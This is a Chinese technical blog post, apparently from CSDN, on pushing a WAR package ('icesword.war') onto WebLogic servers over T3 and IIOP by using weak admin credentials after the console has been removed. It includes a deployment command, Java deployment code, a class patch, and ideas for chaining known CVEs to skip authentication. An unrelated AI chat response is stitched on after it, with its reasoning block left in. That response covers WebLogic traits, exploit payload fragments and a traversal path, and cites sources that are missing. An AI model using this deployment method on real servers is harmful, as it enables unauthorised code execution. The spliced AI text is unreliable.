Weblogic通过HTTP/T3/IIOP协议部署war包

水文一篇,主要应对存在弱口令但删除了Console的情况。

重点说三遍: 需要账号密码、需要账号密码、需要账号密码

几处登陆点(HTTP/T3/IIOP)共用账号锁定,只要加起来错误过五次,就会锁定半个小时。

最常见做法:HTTP console应用部署

最常见方法,此处略过。

可以参考:https://www.cnblogs.com/DFX339/p/8515200.html

通过T3协议部署war包

前提条件:开放了T3协议(默认),并且前面没有Nginx类的反向代理。

不知道为什么直接用自带的weblogic.Deployer类连接不上,

java.exe -cp weblogic.jar -Djava.ext.dirs=. weblogic.Deployer -adminurl t3://localhost:7001 -username weblogic -password weblogic123 -deploy  f:\test\icesword.war -remote -upload

一直提示:

Unable to connect to ‘t3://localhost:7001’: null. Ensure the url represents a running admin server and that the credentials are correct. If using http protocol, tunneling must be enabled on the admin server.

此处换用部署代码,需要包含weblogic中lib和module中的库。

import weblogic.deploy.api.tools.*;  //SesionHelper
import weblogic.deploy.api.spi .*;  //WebLogicDeploymentManager

import javax.enterprise.deploy.spi.Target;
import javax.enterprise.deploy.spi.exceptions.DeploymentManagerCreationException;
import javax.enterprise.deploy.spi.exceptions.TargetException;
import javax.enterprise.deploy.spi.status.DeploymentStatus;
import javax.enterprise.deploy.spi.status.ProgressObject;
import java.io.File;

public class T3 {
    public static void main(String args[]) throws DeploymentManagerCreationException, TargetException {
        String protocol="t3";
        String hostName="192.168.92.128";
        String portString="7001";
        String adminUser="weblogic";
        String adminPassword="Oracle@123";

        WebLogicDeploymentManager deployManager=SessionHelper.getRemoteDeploymentManager( protocol,hostName,portString,adminUser,adminPassword);
        DeploymentOptions options = new DeploymentOptions();
        Target targets[]=deployManager.getTargets();
        Target deployTargets[]=new Target[1];
        deployTargets[0]=targets[0]; //admin server
        System.out.println(deployTargets[0]);
        System.exit(0);
        String appName="icesword";
        options.setName(appName);
        ProgressObject processStatus=deployManager.deploy(deployTargets, new File("f:/test/icesword.war"), null,options);
        DeploymentStatus stat = processStatus.getDeploymentStatus() ;
        System.out.println("For icesword DeploymentStatus.getState(): " + stat.getState());

    }
}

运行提示:
在这里插入图片描述
可以正常访问,此处就不截图了。

emm 通过T3协议,还是得走HTTP的DeploymentService接口进行war包上传,具体看下面IIOP的吧

通过IIOP协议部署

这个在测试过程中,用vulhub中的weblogic docker无法正常连接,
在这里插入图片描述

因为docker的实际IP是172.19.0.2的,而IIOP在握手以后,会返回一个重定向的响应,重定向到该IP,
在这里插入图片描述
解决方案(适用于IIOP反序列化):
自己建一个weblogic.iiop.IOPProfile类,修改read(IIOPInputStream var1)方法
ConnectionKey var4 = new ConnectionKey(var1);后加入

 Channel remoteChannel = var1.getEndPoint().getRemoteChannel();
 var4 = new ConnectionKey(remoteChannel.getInetAddress().getHostAddress(), remoteChannel.getPublicPort());

由于ConnectionKey(IIOPInputStream var1)构造方法,会从输入流中读入数据,如果单纯的修改此行,会导致后续流读入不正常。

修改好的Java文件:https://gist.github.com/fnmsd/b3e90da874d779f665b3ba06f9c93a31

把上面的代码中protocol改为iiop即可通过IIOP协议进行部署。

但是抓包发现,war包是通过/bea_wls_deployment_internal/DeploymentService这个接口进行上传的(CVE-2019-2618的文件上传漏洞和一个反序列化漏洞是通过这个接口)
请求:
在这里插入图片描述
响应:
在这里插入图片描述
可以看到,包含上传后的文件位置
思考:

  1. IIOP的部署报文中会看到这个绝对路径,也就是说如果该HTTP上传接口关闭的情况下,能否通过其他上传漏洞+获取绝对路径进行部署

  2. 或者能否单纯通过IIOP协议进行上传?

  3. 能否结合Weblogic IIOP反序列化(CVE-2020-2551)绕过认证进行部署?

部署报文:
在这里插入图片描述

通过HTTP协议(DeploymentService)进行部署

这回直接协议改成HTTP是不行了,会报一个很奇怪的错误

在这里插入图片描述
抓包发现:
在这里插入图片描述
HTTP 隧道被禁用。

需要在服务器配置中启用HTTP隧道,启动后可以使用,但是这样做非默认配置意义不太大了。

暂时还没找到别的点可以通过HTTP进行部署。

参考

https://github.com/vulhub/vulhub/tree/master/weblogic/weak_password

https://stackoverflow.com/questions/28002527/how-to-deploy-a-war-file-using-t3-protocol-weblogic-with-java

https://medium.com/@krishankantsinghal/deploying-undeploying-ear-war-to-weblogic-server-using-weblogic-deployer-62ca65c53ee6

<think> 嗯,我现在需要分析用户的需求,他之前询问了Linux登录日志的相关信息,现在转向了WebLogic框架的特征。用户提供了四个引用,其中引用[1]介绍了WebLogic的基本信息和弱口令漏洞,引用[2]和[3]详细描述了WebLogic漏洞的流量特征,引用[4]提到了反序列化流量特征。用户当前的查询是想了解WebLogic框架的整体特征,而不仅仅是漏洞部分。 首先,我需要整理WebLogic作为中间件的基本特性。引用[1]提到它是Oracle的Java应用服务器,基于J2EE架构,默认端口7001,支持分布式Web应用的管理。接下来,流量特征方面,引用[2]和[3]强调了T3协议的反序列化漏洞(如CVE-2017-10271)、SSRF(CVE-2014-4210)、未授权访问(CVE-2020-14882)等。例如,T3协议使用t3://协议头,序列化数据含AC ED 00 05的魔术字。此外,XML外部实体注入和文件读取漏洞的特征,如POST请求中的XML实体声明,也是关键点。 用户可能关注的是框架的核心架构、协议支持、默认配置和安全特性。需要分点说明:架构层面(多层结构、集群)、协议支持(T3/IIOP/HTTP)、管理控制台(端口7001/console)、部署机制(WAR/EAR)。安全方面,引用[3]提到的反序列化流量特征,如HTTP请求中的SOAPAction头和XMLDecoder标签,以及响应中的异常堆栈信息。 另外,用户提供的引用[4]提到nginx相关漏洞,但当前问题不涉及,可忽略。需要注意用户之前的Linux日志回答结构,需要保持详细且分点清晰,比如使用加粗标题、子标题、代码示例和引用标记。最后生成相关问题,如协议特性、漏洞检测、加固方法等,需参考用户之前的相关问题格式。 </think> ### WebLogic框架核心特征详解 #### 一、基础架构特性 1. **多协议支持** - **T3协议**:专用二进制协议(端口7001),支持Java对象序列化传输,特征为TCP连接首部含`t3`/`HELO`字符串[^3] ```bash # T3协议握手示例(HEX) 74 33 0d 0a 48 45 4c 4f # "t3\r\nHELO" ``` - **HTTP/HTTPS**:默认管理端口7001,控制台路径`/console`,常伴随`JSESSIONID`会话标识[^1] - **IIOP协议**:用于CORBA通信(端口7002),支持分布式对象调用 2. **多层架构设计** ```mermaid graph LR A[客户端] -->|T3/HTTP| B[WebLogic实例] B --> C[Admin Server] B --> D[Managed Server集群] D --> E[数据库/消息队列] ``` - 管理服务器(Admin Server)统一控制节点 - 托管服务器(Managed Server)执行业务逻辑 - 集群自动实现负载均衡和故障转移 #### 二、安全特征 1. **反序列化漏洞特征** - **流量标识**:HTTP POST请求含`SOAPAction`头,XML中可见`<object>`标签和`java`类加载声明 ```xml <!-- CVE-2017-10271漏洞典型载荷 --> <soapenv:Body> <java:class>java.lang.ProcessBuilder</java:class> <java:method>start</java:method> </soapenv:Body> ``` - **响应特征**:成功利用时返回`java.io.NotSerializableException`堆栈信息[^3] 2. **未授权访问特征** - **CVE-2020-14882**:访问`/console/css/%252e%252e%252fconsole.portal`触发绕过认证 - **检测特征**:请求路径含双重URL编码`%252e%252e%252f`(对应`../`)[^2] #### 三、运维特征 1. **配置文件结构** ```bash domain_home/ ├── config/ # 核心配置 │ ├── config.xml # 域配置 │ └── jdbc/ # 数据源配置 ├── servers/ # 服务器实例 └── apps/ # 应用部署目录 ``` - `config.xml`定义集群、服务器、资源池等拓扑关系 2. **日志体系** - `AdminServer.log`:管理服务器日志 - `ManagedServer_*.log`:托管服务器日志 - `access.log`:HTTP访问日志(格式类似Apache) #### 四、流量指纹特征 1. **HTTP响应头** ```http Server: Oracle-Application-Server-11g X-ORACLE-DMS-ECID: 87c6e1f9-71d # 唯一事务ID ``` 2. **错误页面特征** ```html <h2>Oracle WebLogic Server</h2> <b>HTTP 404 - Not Found</b> ``` --- ### 典型漏洞关联特征 | 漏洞类型 | 协议层特征 | 应用层特征 | |----------------|------------------------------|-------------------------------| | 反序列化 | T3协议含`AC ED 00 05`魔术字 | XML中出现`java.lang.Runtime` | | 未授权访问 | 路径含`%252e%252e`跳转 | 302重定向到管理页面 | | SSRF漏洞 | `uddiexplorer`接口异常调用 | 内网IP地址探测 | > **注**:所有漏洞检测需遵守合法授权原则[^2] ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值